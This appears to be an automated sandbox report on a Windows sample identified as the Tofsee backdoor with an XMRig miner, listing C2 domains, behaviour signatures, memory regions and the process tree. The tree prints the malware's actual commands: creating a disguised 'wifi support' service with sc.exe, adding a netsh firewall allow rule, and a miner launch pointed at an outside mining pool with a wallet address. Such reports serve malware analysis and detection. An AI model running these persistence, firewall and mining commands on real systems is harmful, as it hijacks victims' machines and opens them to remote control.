Analysis

  • max time kernel
    151s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    22/10/2022, 18:47

General

  • Target
    file.exe
  • Size 224KB
  • Sample221022-xe665sech3
  • SHA256 e7d2e1acc524062824bf4741a9ff10c069605e402e54b603b5dfd9c4acdc3ffd
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1952
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rfnrdfxm\
      2⤵
        PID:1772
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\psbmmiif.exe" C:\Windows\SysWOW64\rfnrdfxm\
        2⤵
          PID:1076
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create rfnrdfxm binPath= "C:\Windows\SysWOW64\rfnrdfxm\psbmmiif.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1048
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description rfnrdfxm "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1996
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start rfnrdfxm
          2⤵
          • Launches sc.exe
          PID:676
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:520
      • C:\Windows\SysWOW64\rfnrdfxm\psbmmiif.exe
        C:\Windows\SysWOW64\rfnrdfxm\psbmmiif.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:920
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1620
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1120

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            psbmmiif.exe

            • Path C:\Users\Admin\AppData\Local\Temp\psbmmiif.exe
            • Size 14.6MB
            • SHA256 4ce4939788f083be87751fde1382d0bf3f29e26c3fff384fcbefcdd17ab144ff
            • MD5 SHA1 SHA512 SSDEEP

            psbmmiif.exe

            • Path C:\Windows\SysWOW64\rfnrdfxm\psbmmiif.exe
            • Size 14.6MB
            • SHA256 4ce4939788f083be87751fde1382d0bf3f29e26c3fff384fcbefcdd17ab144ff
            • MD5 SHA1 SHA512 SSDEEP

            memory/920-69-0x0000000002DD8000-0x0000000002DEE000-memory.dmp

            memory/920-81-0x0000000000400000-0x0000000002C26000-memory.dmp

            memory/920-78-0x0000000002DD8000-0x0000000002DEE000-memory.dmp

            memory/1120-103-0x00000000000C0000-0x00000000001B1000-memory.dmp

            memory/1120-101-0x00000000000C0000-0x00000000001B1000-memory.dmp

            memory/1620-74-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1620-91-0x0000000000220000-0x0000000000225000-memory.dmp

            memory/1620-100-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1620-97-0x00000000002B0000-0x00000000002B7000-memory.dmp

            memory/1620-94-0x0000000005850000-0x0000000005C5B000-memory.dmp

            memory/1620-72-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1620-88-0x0000000000210000-0x0000000000220000-memory.dmp

            memory/1620-80-0x0000000000080000-0x0000000000095000-memory.dmp

            memory/1620-85-0x00000000000B0000-0x00000000000B6000-memory.dmp

            memory/1620-82-0x0000000001940000-0x0000000001B4F000-memory.dmp

            memory/1952-58-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/1952-59-0x0000000000400000-0x0000000002C26000-memory.dmp

            memory/1952-67-0x0000000000400000-0x0000000002C26000-memory.dmp

            memory/1952-54-0x0000000002D08000-0x0000000002D1E000-memory.dmp

            memory/1952-66-0x0000000002D08000-0x0000000002D1E000-memory.dmp

            memory/1952-57-0x0000000002D08000-0x0000000002D1E000-memory.dmp

            memory/1952-55-0x0000000075981000-0x0000000075983000-memory.dmp